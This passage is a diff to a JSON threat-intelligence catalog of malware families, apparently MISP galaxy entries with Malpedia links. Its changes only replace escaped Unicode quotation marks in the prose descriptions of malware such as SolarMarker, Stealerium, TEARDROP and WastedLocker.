products\r\nPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google’s Protocol Buffer message format ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter", @@ -40931,7 +40931,7 @@ "value": "PurpleFox" }, { - "description": "ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user\u2019s system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.\r\n\r\nThe author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.", + "description": "ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user’s system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.\r\n\r\nThe author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave", @@ -42230,7 +42230,7 @@ "value": "Rarog" }, { - "description": "This ransomware encrypts all user\u2019s data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains encrypted files.", + "description": "This ransomware encrypts all user’s data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains encrypted files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar", @@ -45008,7 +45008,7 @@ "value": "Satan" }, { - "description": "According to bitdefender, Satana is an aggressive ransomware for Windows that encrypts the computer\u2019s master boot record (MBR) and prevents it from starting.", + "description": "According to bitdefender, Satana is an aggressive ransomware for Windows that encrypts the computer’s master boot record (MBR) and prevents it from starting.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana", @@ -45764,7 +45764,7 @@ "value": "SharpMapExec" }, { - "description": "The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called \u201cStage_One\u201d. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east. ", + "description": "The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called “Stage_One”. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstage", @@ -46991,7 +46991,7 @@ "value": "Solarbot" }, { - "description": "Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.\r\n\r\nSome of SolarMarker\u2019s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims\u2019 web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.\r\n\r\nThe malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.", + "description": "Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.\r\n\r\nSome of SolarMarker’s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims’ web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.\r\n\r\nThe malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarmarker", @@ -47421,7 +47421,7 @@ "value": "SpyEye" }, { - "description": "According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim\u2019s environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.", + "description": "According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim’s environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle", @@ -47650,7 +47650,7 @@ "value": "Stealc" }, { - "description": "According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor\u2019s addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.", + "description": "According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor’s addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium", @@ -47678,7 +47678,7 @@ "value": "Stealer0x3401" }, { - "description": "According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target\u2019s backend. Hacker\u2019s commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the target\u2019s system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.", + "description": "According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target’s backend. Hacker’s commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the target’s system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker", @@ -48418,7 +48418,7 @@ "value": "swen" }, { - "description": "According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim\u2019s Active Directory environment.", + "description": "According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim’s Active Directory environment.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.swiftslicer", @@ -48942,7 +48942,7 @@ "value": "TeamSpy" }, { - "description": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file \u201cgracious_truth.jpg\u201d, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.", + "description": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop", @@ -49740,7 +49740,7 @@ "value": "tomiris" }, { - "description": "TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files \u2013 temp.txt and temp2.txt \u2013 within the same directory of its execution.", + "description": "TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf", @@ -51133,7 +51133,7 @@ "value": "Unidentified 078 (Zebrocy Nim Loader?)" }, { - "description": "This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as CMFile, CMFile, CMProcess, TFileDownload, TDrive, TProcessInfo, TSock, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. \r\nIt is also used by attackers to gather a target\u2019s data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler.Given that the Trojan is an HTTPS server itself, the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands.", + "description": "This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as CMFile, CMFile, CMProcess, TFileDownload, TDrive, TProcessInfo, TSock, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. \r\nIt is also used by attackers to gather a target’s data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler.Given that the Trojan is an HTTPS server itself, the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080", @@ -52366,7 +52366,7 @@ "value": "Vulturi" }, { - "description": "Vyveva is a remote access trojan that uses the Tor library for communication with C&C. Its use of fake TLS for camouflaging the network traffic is one of the typical Lazarus traits.\r\n\r\nIt uses a simple XOR for encryption of its configuration and network traffic. \r\n\r\nIt sends detailed information about the victim's environment, like computer name, user name, IP, code page, Windows version, architecture, and time zone.\r\n\r\nIt supports more than 20 commands that include operations on the victim\u2019s filesystem, basic process management, command line execution, file exfiltration, and the download and memory execution of an additional DLL from the C&C (by calling the expected export SamIPromote). As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. The lowest index is 0x3, followed by 0x10, which goes incrementally up to 0x26. Also, it can monitor newly connected drives and the number of logged-on users.\r\n\r\nIt has MPRD.dll as the internal DLL name, and a single export SamIInitialize.\r\n\r\nVyveva RAT was used in an attack against a freight logistics company in South Africa in June 2020.", + "description": "Vyveva is a remote access trojan that uses the Tor library for communication with C&C. Its use of fake TLS for camouflaging the network traffic is one of the typical Lazarus traits.\r\n\r\nIt uses a simple XOR for encryption of its configuration and network traffic. \r\n\r\nIt sends detailed information about the victim's environment, like computer name, user name, IP, code page, Windows version, architecture, and time zone.\r\n\r\nIt supports more than 20 commands that include operations on the victim’s filesystem, basic process management, command line execution, file exfiltration, and the download and memory execution of an additional DLL from the C&C (by calling the expected export SamIPromote). As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. The lowest index is 0x3, followed by 0x10, which goes incrementally up to 0x26. Also, it can monitor newly connected drives and the number of logged-on users.\r\n\r\nIt has MPRD.dll as the internal DLL name, and a single export SamIInitialize.\r\n\r\nVyveva RAT was used in an attack against a freight logistics company in South Africa in June 2020.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva", @@ -52513,7 +52513,7 @@ "value": "WastedLoader" }, { - "description": "WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim\u2019s name and the string \u2018wasted\u2019. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.", + "description": "WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim’s name and the string ‘wasted’. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker", @@ -53807,7 +53807,7 @@ "value": "X-Tunnel (.NET)" }, { - "description": "In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it \u201cXwo\u201d - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.", + "description": "In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.xwo", @@ -54078,7 +54078,7 @@ "value": "YourCyanide" }, { - "description": "According to Intezer, YTStealer is a malware whose objective is to steal YouTube authentication cookies. As a stealer, it operates like many other stealers. The first thing it does when it\u2019s executed is to perform some environment checks. This is to detect if the malware is being analyzed in a sandbox.", + "description": "According to Intezer, YTStealer is a malware whose objective is to steal YouTube authentication cookies. As a stealer, it operates like many other stealers. The first thing it does when it’s executed is to perform some environment checks. This is to detect if the malware is being analyzed in a sandbox.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ytstealer", @@ -54825,4 +54825,4 @@ } ], "version": 19000 -} +}